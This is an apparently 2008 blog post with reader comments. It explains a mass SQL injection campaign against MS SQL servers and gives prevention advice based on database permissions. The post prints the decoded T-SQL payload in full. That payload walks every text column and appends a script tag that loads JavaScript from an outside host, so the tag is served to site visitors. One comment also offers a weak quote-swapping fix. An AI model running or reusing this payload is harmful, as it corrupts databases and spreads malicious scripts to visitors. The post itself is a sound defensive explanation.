SQL Injection - Are you safe?

Posted Wednesday, June 25, 2008 9:43:08 PM
Over the past few months a new breed of SQL Injection attacks has started to show up in server logs across the globe. These attacks are so generic in nature that they work on any insecure MS SQL server and don't need to be customized for each attack.

How they work:
Like all SQL Injection attacks, this one looks for pages that access an MS SQL database but that don't sanitize its database inputs. The attack appends a piece of T-SQL code to the end of query string value similar to this:

	DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C41
	....[more hex code]
	26C655F437572736F7220 AS VARCHAR(4000));EXEC(@S);--
What this code does is create a variable with a hexadecimal encrypted value and then execute that variable. If we look at the unencrypted version of the code above this is what we have:

	DECLARE @T VARCHAR(255),@C VARCHAR(255)

	DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM 
	sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' 
	AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)

	OPEN Table_Cursor

	FETCH NEXT FROM Table_Cursor INTO @T,@C

	WHILE(@@FETCH_STATUS=0)
		BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=
		RTRIM(CONVERT(VARCHAR(4000),['+@C+']))
		+''<script src=http://www.adwbnr.com/b.js>
		</script>''')
		FETCH NEXT FROM Table_Cursor INTO @T,@C
	END

	CLOSE Table_Cursor

	DEALLOCATE Table_Cursor

This code gets a list of all database fields that can contain text and then appends to them a '<script>' tag which points to a javascript file off site. This causes the browser to try and load this javascript file whenever a page pulls the corrupted data from the database.

How to prevent it:
Preventing this SQL Injection attack centers on permissions set for the database users in MS SQL. Be sure that the user connecting to the database through the website application has permission only on the table(s) they need, and more importantly, make sure they do not have permission to access the sysobjects and syscolumns tables. These tables are the heart of an MS SQL database and access to it will give any intruder the names of all tables and columns in the database.
Related Articles
Setting Secure MS SQL Permissions (Wednesday, July 23, 2008 9:32:07 AM)
 
Comments: 9 (View | Post)
Categories: Most Popular, Technical

Post A Comment

View Comments

There are 9 comments on this article
Adam (10 years ago)
Thanks for the post Cat. I agree, stored procedures are definitely a great way to prevent SQL Injection.

Unfortunately, most people don't have the time or resources to reprogram their entire website if it was not coded this way to begin with and must look for ways to prevent the code from successfully executing.

If you're designing a new website though, there are many many ways to prevent SQL Injection from ever being an issue, and stored procedures are one of those.
Cat (10 years ago)
The best way to avoid SQL injection is to use stored procedures. That will also bring the benefit of better database performance. But sometimes one needs to get text values from the users and save them to the database and even a stored procedure cannot prevent against some clever text insertion. For such cases one must add some validation of the input coming from the user.
Parx (10 years ago)
I basically understand that the issue was not with the permission of SQL but with the coding flaw of SQL. I have revised the asp codes to use double quote instead of single. It worked. Let me know if you have any recommendation for tightening asp code.
Adam (10 years ago)
Always glad to help. Thanks for sharing my blog and feel free to contact me with any other technical questions you may have.
Parx (10 years ago)
Adam,

Thanks for your outstanding support so far. I will be glad to share my experience with you.
Adam (10 years ago)
Parx,

Thanks for the question, I've wrote another blog article addressing this for you, entitled Setting Secure MS SQL Permissions. Let me know if you have any questions about how to do this, thanks!
Parx Rasmussen (10 years ago)
Adam,

Thanks for acknowledging the comment. What are the ideal permissions assigned to the system tables?
Adam (10 years ago)
Parx, thanks for your question/comment. The script is designed to read through the sysobjects and syscolumns tables to get all the tables in your database. So to answer your question, assume that they will hit every table and every field containing text within those tables.

Post any other questions you have here, or feel free to email me.
Parx (10 years ago)
Hi,

This is fabulous. How do we get to know which database / table will it insert/inject the script values